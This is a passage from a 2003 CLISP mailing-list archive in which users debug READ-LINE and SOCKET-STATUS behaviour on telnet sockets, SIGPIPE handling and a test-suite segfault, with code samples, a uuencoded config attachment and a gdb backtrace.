X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 17 16:46:02 2003 X-Original-Date: 17 Jan 2003 19:45:54 -0500 > * In message <20030118001130.GA8741@bakunin.copyleft.de> > * On the subject of "Re: [clisp-list] read-line (clisp 2.30/woody)" > * Sent on Sat, 18 Jan 2003 01:11:30 +0100 > * Honorable Michael Koehne writes: > > well - as the mucl-date suggests, by running to fast at factor 60, > the code should become the chat part of a multi-user-dungeon. Users > in those telnet (like) games may drop the connection either by > crashing their user client (some many of them are lisp based ;-) or > just but stop playing - and rebooting their Windoof. in clisp: > (setq o (socket-server 12345)) in bash: $ telnet 15:14:06 sds@loiso:/usr/local/src/gcl/ansi-tests [56]$ telnet localhost 12345 Trying 127.0.0.1... Connected to loiso (127.0.0.1). Escape character is '^]'. 3456 ^] telnet> Connection closed. $ back to clisp: > (setq o (socket-accept s)) # > (read-line o nil :EOF) "3456" ; NIL > (read-line o nil :EOF) :EOF ; T no SIGPIPE. > the problems with my code: > - how to detect :eof with read-line (smells like a clisp 2.30 bug) (READ-LINE stream NIL :EOF) > - how to ignore (or catch) sig_pipe you should not get it (I think!) > - how to improve socket-status to detect dead sockets. what is a dead socket? the one for which SOCKET-STATUS returns :ERROR? -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux If you try to fail, and succeed, which have you done? From kraehe@copyleft.de Sat Jan 18 06:33:29 2003 Received: from mout2.freenet.de ([194.97.50.155]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Zu1s-0007c9-00 for ; Sat, 18 Jan 2003 06:33:00 -0800 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout2.freenet.de with asmtp (Exim 4.10) id 18Zu1N-00027p-00; Sat, 18 Jan 2003 15:32:29 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.10 #7) id 18Zu1N-0002Se-00; Sat, 18 Jan 2003 15:32:29 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18Zu4X-0002l1-00; Sat, 18 Jan 2003 15:35:45 +0100 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] read-line (clisp 2.30/woody) Message-ID: <20030118143545.GA10404@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 18 06:34:03 2003 X-Original-Date: Sat, 18 Jan 2003 15:35:45 +0100 Moin Sam Steingold, lets investigate the problem a bit: [1]> (setq s (socket-server 12345)) # [2]> (setq o (socket-accept s)) # [3]> (read-line o nil :EOF) "asf" ; NIL [4]> (read-line o nil :EOF) :EOF ; T [5]> this looks fine - but using a similar read-line in my program, does not detect :EOF. So lets investigate - by reducing my program to a minimal skeleton showing the situation : (progn (format t "waiting for connect~%") (setq serv (socket-server 5555)) (setq sock (socket-accept serv)) (format t "waiting for input~%") (dotimes (n 50) (setq stat (socket-status (list serv (cons sock :input)) 0 500000)) (format t "Status ~A~%" stat) (when (eq (cadr stat) :INPUT) (multiple-value-bind (line flag) (read-line sock nil :EOF) (format t "Line: (~A) Flag:(~A)~%" line flag))))) This will show the following missbehavior : - first line a client send looks ok Status (NIL INPUT) Line: (asdr aser) Flag:(NIL) Status (NIL NIL) - two :input events will be raised by socket-status the following times a telnet client types a line Status (NIL INPUT) Line: () Flag:(NIL) Status (NIL INPUT) Line: (ase 23) Flag:(NIL) Status (NIL NIL) - only one :input event will be raised, if the client closes the connections showing : Status (NIL INPUT) Line: () Flag:(NIL) Status (NIL NIL) - the following socket-status will return immediate ignoring timeout, because one of the sockets is dead. No :input or :error events are raised. The loop is running wild at 100% CPU load with: Status (NIL NIL) - One can call read-line by hand afterwards, to see, that the socket is at end-of-file : (multiple-value-bind (line flag) (read-line sock nil :EOF) (format t "Line: (~A) Flag:(~A)~%" line flag)) Line: (EOF) Flag:(T) the questions now: where do the empty read-line's come from ? One idea could be that telnet is sending - but the following progn does NOT show the named missbehavior - so its a side effect between socket-status and read-line, as the call of socket-status is the main difference between them. (progn (format t "waiting for connect~%") (setq serv (socket-server 5555)) (setq sock (socket-accept serv)) (format t "waiting for input~%") (loop (multiple-value-bind (line flag) (read-line sock nil :EOF) (format t "Line: (~A) Flag:(~A)~%" line flag) (when flag (return)) ))) > > - how to ignore (or catch) sig_pipe > you should not get it (I think!) as told - the user will use some MUD client - they could always close quit or crash. So SIG_PIPE will be a common situation. The Perl way, would be to ignore SIG_PIPE, as the signal could interrupe any !LATER! system call. The EOF detection and :error condition on socket-status should be enough to sort those clients out and to close them !WITHOUT! lingering on the socket. > what is a dead socket? the one for which SOCKET-STATUS returns :ERROR? a dead socket is one, where socket-status should return :error, but not yet does ;-( a dead socket is a file descriptor, that is already closed from the other side. This will cause the select system call to return failing immediate ignoring timeout, iirc. I'll try to compare some MUD c-code to socket-status in streams.d ;-) Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From lisp-clisp-list@m.gmane.org Sat Jan 18 09:29:36 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Zwmk-0004H9-00 for ; Sat, 18 Jan 2003 09:29:35 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18ZwlK-0005Qt-00 for ; Sat, 18 Jan 2003 18:28:06 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18ZwlJ-0005Qh-00 for ; Sat, 18 Jan 2003 18:28:05 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 33 Message-ID: References: <20030118143545.GA10404@bakunin.copyleft.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: read-line (clisp 2.30/woody) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 18 09:30:03 2003 X-Original-Date: 18 Jan 2003 12:30:27 -0500 > * In message <20030118143545.GA10404@bakunin.copyleft.de> > * On the subject of "Re: read-line (clisp 2.30/woody)" > * Sent on Sat, 18 Jan 2003 15:35:45 +0100 > * Honorable Michael Koehne writes: > > this looks fine - but using a similar read-line in my program, does > not detect :EOF. Are you should you read the meaning of the second return value of READ-LINE carefully? it is non-nil only when the last line was not NL-terminated. > The loop is running wild at 100% CPU load with: > Status (NIL NIL) I do not observe this on linux with the the latest CVS head. > > > - how to ignore (or catch) sig_pipe > > you should not get it (I think!) > > as told - the user will use some MUD client - they could always > close quit or crash. So SIG_PIPE will be a common situation. CLISP catches it. you, the CLISP user, should not see it. I must admit I am still not clear on what is your problem. Sorry. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Old Age Comes at a Bad Time. From kraehe@copyleft.de Sat Jan 18 11:31:36 2003 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ZygN-0008Q2-00 for ; Sat, 18 Jan 2003 11:31:09 -0800 Received: from [194.97.50.136] (helo=mx3.freenet.de) by mout1.freenet.de with asmtp (Exim 4.10) id 18Zyfp-0002gx-00 for clisp-list@lists.sourceforge.net; Sat, 18 Jan 2003 20:30:33 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx3.freenet.de with esmtp (Exim 4.10 #7) id 18Zyfm-0000c0-00 for clisp-list@lists.sourceforge.net; Sat, 18 Jan 2003 20:30:31 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18Zyj8-0006n6-00; Sat, 18 Jan 2003 20:33:58 +0100 From: Michael Koehne To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Segmentation fault Message-ID: <20030118193358.GA25935@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 18 11:32:03 2003 X-Original-Date: Sat, 18 Jan 2003 20:33:58 +0100 Moin Sam Steingold, > I do not observe this on linux with the the latest CVS head. i took that as a hint to try current CVS - source forge is under full load at saturday. So download took much longer than expected. 'make' worked fine, but 'make check' failed with : EQUAL-OK: "edcba" (NREVERSE X) EQUAL-OK: "edcba" X EQUAL-OK: "edcba" (LET* ((X (MAKE-ARRAY 10 :FILL-POINTER 4 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\Space :ADJUSTABLE T)) (Y (MAKE-ARRAY 10 :FILL-POINTER 4 :ELEMENT-TYPE 'CHARACTER :DISPLACED-TO X))) (ADJUST-ARRAY X '(5)) (CHAR Y 5)) EQL-OK: ERROR (LET ((S (MAKE-ARRAY 10 :ELEMENT-TYPE 'CHARACTER :INITIAL-ELEMENT #\a))) (LIST (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S)) (PROGN (SETF (AREF S 3) (CODE-CHAR 12345)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (SETF (AREF S 3) (CODE-CHAR 123456)) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))) (PROGN (GC) (MULTIPLE-VALUE-LIST (SYSTEM::STRING-INFO S))))) make[1]: *** [tests] Segmentation fault make[1]: Leaving directory `/bakunin/home/kraehe/AIlang/clisp-cvs/clisp/src/suite' make: *** [testsuite] Error 2 my environment: Debian/GNU/Linux (woody) DualPPro 250 / 128mb RAM. additional hints: bakunin:~/AIlang/clisp-cvs/clisp/src $ uname -a Linux bakunin.copyleft.de 2.4.18 #2 SMP Wed Oct 30 02:01:27 CET 2002 i686 unknown bakunin:~/AIlang/clisp-cvs/clisp/src $ ulimit -a core file size (blocks, -c) 0 data seg size (kbytes, -d) 98304 file size (blocks, -f) unlimited max locked memory (kbytes, -l) 98304 max memory size (kbytes, -m) 98304 open files (-n) 1024 pipe size (512 bytes, -p) 8 stack size (kbytes, -s) 8192 cpu time (seconds, -t) unlimited max user processes (-u) 1024 virtual memory (kbytes, -v) 98304 bakunin:~/AIlang/clisp-cvs/clisp/src $ ldd ./clisp libc.so.6 => /lib/libc.so.6 (0x4001b000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) bakunin:~/AIlang/clisp-cvs/clisp/src $ l /lib/libc.so.6 /lib/ld-linux.so.2 lrwxrwxrwx 11 Oct 16 13:22 /lib/ld-linux.so.2 -> ld-2.2.5.so lrwxrwxrwx 13 Oct 16 13:22 /lib/libc.so.6 -> libc-2.2.5.so bakunin:~/AIlang/clisp-cvs/clisp/src $ gzip < config.lisp > config.lisp.gz bakunin:~/AIlang/clisp-cvs/clisp/src $ uuencode config.lisp.gz *3X``YU42X^C1A"^\RM*/9$,*)@HN:P8*9&U.\F,-%FO;(^4S6G; M4$!KH9M4-W:SF4DN!F M4??RZZCW9M05+&+;&G*9Y5B9ECU"9W3S\IDD#,:A1PVO#>,$8D,0VY,MB@8= MZ@.(]>:7U<>'WU>[A_5'D8#`2CFN3]>J67;*#H(!SWC_#/3_X0+>((E!'!*D MWL90"N*@!(A=BQ#P30V.WR?M4LQI3(+_R.'NP\-NO>'H%^0K3KPD"RV._3.) M`$3\(@RR8&1!AJ^E8)/8#*BGR2@J15CZID$QD.&F%JK.*H,VT\9E^*>R#HJ2 M4+J`SNW"KN-HAGKI0*L.Q/,*GE<"XJM*N`Y'(X:B0A+)JZ39SF$_3*F'M#U1 M7F1(TFE*[O%A^PFFV#S(3(SWY$F=BNB1&N0I!%?".6N8"7WRU/=VA>.1*A=C"19N@4>;5XSGW$/$US M[M+9G'=A-E._W@7K2\F=)YAGX]KVV"(A<#L:3I$[QQ\6)97M MM&J/Z]4'0%?Z(>)%G?:<=XH]+;/%K36C&T;'".B<0BJBV*+[`]*!E'99$)]2 M<%?N`U(KAPO,A2Q^('8KPO/* MH'"G`?VT)',JC#QMGG6<5<,S-PUM.GE/N1U;5;:P)W/D7D)EX&1&X+[^Q(.( M"%_2L\JF"T]ZV;4V=#_QSN=(9Q/&[\$E_>/]YO-^OU;@&,1ABN,B]../6C M#IL<,1//^85\OO%K#4>E?_@^L.=#R,X:3V.(L\&&9Y!.Y]/P^OQ<`OH#]`8- A7X\'D-7EH::?*Z8ER7Z&RJ-+VFR!@`` ` end bakunin:~/AIlang/clisp-cvs/clisp/src $ ulimit -c unlimited bakunin:~/AIlang/clisp-cvs/clisp/src $ make check [ several lines deleted ] bakunin:~/AIlang/clisp-cvs/clisp/src $ gdb ./lisp.run ./suite/core Program terminated with signal 11, Segmentation fault. Reading symbols from /lib/libncurses.so.5...done. Loaded symbols for /lib/libncurses.so.5 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /usr/lib/gconv/UTF-16.so...done. Loaded symbols for /usr/lib/gconv/UTF-16.so #0 0x0804ae23 in gc_mark () Breakpoint 1 at 0x8059dc8 Breakpoint 2 at 0x8058928 Breakpoint 3 at 0x8056d10 Breakpoint 4 at 0x804c67c Breakpoint 5 at 0x804dfac Breakpoint 6 at 0x804a9b0 Breakpoint 7 at 0x804aa14 Hardware watchpoint 8: {} 135720996 Num Type Disp Enb Address What 1 breakpoint keep n 0x08059dc8 zout fun 2 breakpoint keep n 0x08058928 zout fun 3 breakpoint keep n 0x08056d10 zout form 4 breakpoint keep n 0x0804c67c 5 breakpoint keep y 0x0804dfac 6 breakpoint keep y 0x0804a9b0 7 breakpoint keep y 0x0804aa14 8 hw watchpoint keep n {} 135720996 p back_trace_out(0,0) continue .gdbinit:88: Error in sourced command file: Function "sigsegv_handler_failed" not defined. (gdb) bt #0 0x0804ae23 in gc_mark () #1 0x4017a378 in ?? () #2 0x0804c670 in do_gar_col () #3 0x0804c693 in gar_col () #4 0x68011c0b in ?? () #5 0x011d0300 in ?? () Cannot access memory at address 0x407e8 (gdb) i hope this helps. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From lisp-clisp-list@m.gmane.org Sat Jan 18 13:33:24 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18a0ag-0003dQ-00 for ; Sat, 18 Jan 2003 13:33:22 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18a0ZF-0007Yz-00 for ; Sat, 18 Jan 2003 22:31:53 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18a0ZF-0007Yp-00 for ; Sat, 18 Jan 2003 22:31:53 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 17 Message-ID: References: <20030118193358.GA25935@bakunin.copyleft.de> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Segmentation fault Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 18 13:34:02 2003 X-Original-Date: 18 Jan 2003 16:34:18 -0500 > * In message <20030118193358.GA25935@bakunin.copyleft.de> > * On the subject of "Re: Segmentation fault" > * Sent on Sat, 18 Jan 2003 20:33:58 +0100 > * Honorable Michael Koehne writes: > > > I do not observe this on linux with the the latest CVS head. > > i took that as a hint to try current CVS - source forge is under > full load at saturday. So download took much longer than expected. I know of this crash. it should not affect your case. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Never underestimate the power of stupid people in large groups. From kraehe@copyleft.de Sun Jan 19 08:50:44 2003 Received: from mout0.freenet.de ([194.97.50.131] ident=exim) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18aIeG-0003LA-00 for ; Sun, 19 Jan 2003 08:50:17 -0800 Received: from [194.97.55.147] (helo=mx4.freenet.de) by mout0.freenet.de with asmtp (Exim 4.10) id 18aIdb-0006M8-00; Sun, 19 Jan 2003 17:49:35 +0100 Received: from bec4f.pppool.de ([213.7.236.79] helo=bakunin.copyleft.de) by mx4.freenet.de with esmtp (Exim 4.10 #7) id 18aIda-0006Ji-00; Sun, 19 Jan 2003 17:49:34 +0100 Received: from kraehe by bakunin.copyleft.de with local (Exim 3.35 #1 (Debian)) id 18aIhk-0007iX-00; Sun, 19 Jan 2003 17:53:52 +0100 From: Michael Koehne To: Sam Steingold , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: read-line (clisp 2.30/woody) Message-ID: <20030119165351.GA29623@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Jan 19 08:51:04 2003 X-Original-Date: Sun, 19 Jan 2003 17:53:51 +0100 Moin Sam Steingold, > Are you should you read the meaning of the second return value of > READ-LINE carefully? > it is non-nil only when the last line was not NL-terminated. after sleeping a night i realised that calling read-line in combination with socket-status is like using stdio with select(). So I think I need some low level (system-read stream array) and (system-write stream array) both returning an integer. I'll next read into ffi. Still read-line behaves funny, if called after socket-status. Except the first line, each line of telnet input will generate two :INPUT events on socket-status. The first one with "";NIL on read-line, the second one as "typed string";NIL. When the client closes its connection an :INPUT event will cause a read of "";NIL but there will never be a last :INPUT event. Instead socket-status will ignore its timeout. If calling read-line on the socket :EOF;t would be given, but this readline will be never called. (format t "waiting for connect") (setq serv (socket-server 5555)) (setq sock (socket-accept serv)) (format t "waiting for input") (dotimes (n 50) (setq stat (socket-status (list serv (cons sock :input)) 0 500000)) (format t "Status ~A~%" stat) (when (eq (cadr stat) :INPUT) (multiple-value-bind (line flag) (read-line sock nil :EOF) (format t "Line: (~A) Flag:(~A)~%" line flag)))) The question (beside that calling read-line in context of socket-status is a way to shoot oneself in the foot) is: where does the additional "";NIL results come from ? > I do not observe this on linux with the the latest CVS head. The current CVS did not make a difference to plain 2.30 here. Btw: whats the best way to execute some clisp, that i dont want to install, because it crashes on regression test ? > I must admit I am still not clear on what is your problem. have you tried the above code - is there some additional input ? at my site the above code clearly shows the situation. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.6'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 20 00:54:18 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18aXh7-0005gV-00 for ; Mon, 20 Jan 2003 00:54:13 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 20 Jan 2003 09:53:43 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 20 Jan 2003 09:52:27 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE01542315@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: read-line (clisp 2.30/woody) - SIGPIPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 00:55:02 2003 X-Original-Date: Mon, 20 Jan 2003 09:52:23 +0100 Hi, >> as told - the user will use some MUD client - they could always >> close quit or crash. So SIG_PIPE will be a common situation. >CLISP catches it. you, the CLISP user, should not see it. Maybe Michael did not tell us everything about his exact setup. While I can't image why SIGPIPE would have anything to do with socket communications, it could be his particular environment which generates SIGPIPE in addition to closing sockets. E.g. mod_fastCGI does exactly this for Apache: "If an http client aborts a request before it completes, mod_fastcgi does too - this results in a SIGPIPE to the FastCGI application. At a minimum, SIGPIPE should be ignored (applications spawned by mod_fastcgi have this setup automatically). Ideally, it should result in an early abort of the request handling within your application and a return to the top of the FastCGI accept() loop." http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html Note that mod_cgi can talk to the spawned application using either pipes or sockets. SIGPIPE can be issued by mod_fastcgi in both cases (assuming that despite using sockets, the application is running on the local machine). Regards, Jorg Hohle. From rrschulz@cris.com Mon Jan 20 08:47:20 2003 Received: from uhura.concentric.net ([206.173.118.93]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18af4w-0007Ke-00 for ; Mon, 20 Jan 2003 08:47:19 -0800 Received: from cliff.concentric.net (cliff.concentric.net [206.173.118.90]) by uhura.concentric.net [Concentric SMTP Routing 1.0] id h0KGlGC10361 for ; Mon, 20 Jan 2003 11:47:16 -0500 (EST) Received: from Clemens.cris.com (da003d0358.sjc-ca.osd.concentric.net [64.1.1.103]) by cliff.concentric.net (8.9.1a) id LAA06487; Mon, 20 Jan 2003 11:47:14 -0500 (EST) Message-Id: <5.2.0.9.2.20030120084104.01d89b70@pop3.cris.com> X-Sender: rrschulz@pop3.cris.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 To: clisp-list@lists.sourceforge.net From: Randall R Schulz Subject: Re: [clisp-list] Re: read-line (clisp 2.30/woody) - SIGPIPE In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE01542315@G8PQD.blf01.telek om.de> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 08:48:04 2003 X-Original-Date: Mon, 20 Jan 2003 08:48:33 -0800 Joerg-Cyril, At 00:52 2003-01-20, Hoehle, Joerg-Cyril wrote: >Hi, > > >> as told - the user will use some MUD client - they could always > >> close quit or crash. So SIG_PIPE will be a common situation. > >CLISP catches it. you, the CLISP user, should not see it. > >Maybe Michael did not tell us everything about his exact setup. While I >can't image why SIGPIPE would have anything to do with socket >communications, it could be his particular environment which generates >SIGPIPE in addition to closing sockets. Unix systems do generate SIGPIPE when attempting to write to a socket that has been shut down in the outgoing direction. I don't know about Windows but I'd expect (without assuming) that Cygwin does the same. In an ordinary command-line pipeline setting, the shell does not report SIGPIPE since they occur whenever a down-stream application in a pipeline quits without processing all its input. A common example is using a page such as "more" or "less" and typing the 'q' command before all the input has been displayed. Because SIGPIPE is "normal", the shell doesn't report it and many people don't know how common its occurrence really is. >E.g. mod_fastCGI does exactly this for Apache: >"If an http client aborts a request before it completes, mod_fastcgi does >too - this results in a SIGPIPE to the FastCGI application. At a minimum, >SIGPIPE should be ignored (applications spawned by mod_fastcgi have this >setup automatically). Ideally, it should result in an early abort of the >request handling within your application and a return to the top of the >FastCGI accept() loop." >http://www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html > >Note that mod_cgi can talk to the spawned application using either pipes >or sockets. SIGPIPE can be issued by mod_fastcgi in both cases (assuming >that despite using sockets, the application is running on the local machine). > >Regards, > Jorg Hohle. Randall Schulz From Joerg-Cyril.Hoehle@t-systems.com Mon Jan 20 09:19:55 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18afaT-0003uu-00 for ; Mon, 20 Jan 2003 09:19:54 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 20 Jan 2003 18:19:46 +0100 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Mon, 20 Jan 2003 18:19:46 +0100 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE0154250D@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: kraehe@copyleft.de, sds@gnu.org, clisp-list@lists.sourceforge.net Subject: AW: [clisp-list] read-line (clisp 2.30/woody) MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 09:20:08 2003 X-Original-Date: Mon, 20 Jan 2003 18:19:45 +0100 Hi, I tried out Michael's example code. It appears that the symptom come from CRLF or CR occurring in the stream. Whether this is acceptable behaviour I shall not comment upon now. What's observable is that users have been hit by READ-LINE several times already in the past. E.g. type blabla CTRL-J blob CTRL-J -> everything is fine Use CRLF (e.g. add CTRL-M) or solely CR as line terminator and I start observing those empty lines Status (NIL INPUT) Line: () Flag:(NIL) Status (NIL INPUT) Line: (oihdjui) Flag:(NIL) Status (NIL NIL) The strange empty line is returned as soon as I start entering the next input (long after the CTRL-M terminating the previous line). BTW, here's a small bug: (describe sock) # is an input/output-stream.waiting for input dot ^ here but not ^there BTW, in my setup, when I close the MS-Windows goofy telnet window, I don't see any errors reported in the status line, but the loop immediately runs to completion (apparently socket-status returns without waiting). > - but the following progn does NOT show > the named missbehavior - so its a side effect between socket-status > and read-line, as the call of socket-status is the main difference > between them. [read-line in a loop, without socket-status] Indeed, the difference in behaviour sounds unnormal. Maybe the internal state engine about CR and/or LF line-termination detection is broken? Regards, Jorg Hohle. From nick@lsd.net.nz Mon Jan 20 13:30:28 2003 Received: from port54-31-78.adsl.net4u.co.nz ([210.54.31.78] helo=highgate) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18ajUS-0001HW-00 for ; Mon, 20 Jan 2003 13:29:56 -0800 Received: from icecream ([10.8.0.42] helo=lsd.net.nz) by highgate with esmtp (Exim 3.35 #1 (Debian)) id 18ajTv-00015e-00 for ; Tue, 21 Jan 2003 10:29:23 +1300 Message-ID: <3E2C69DB.6090303@lsd.net.nz> From: Nick Wright User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20030105 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net X-Enigmail-Version: 0.71.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] Default encoding problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 20 13:31:06 2003 X-Original-Date: Tue, 21 Jan 2003 10:27:55 +1300 Hi, I am getting this error when I try to print any of a few macrons to the standard output in clisp: *** - Character #\u00EF cannot be represented in the 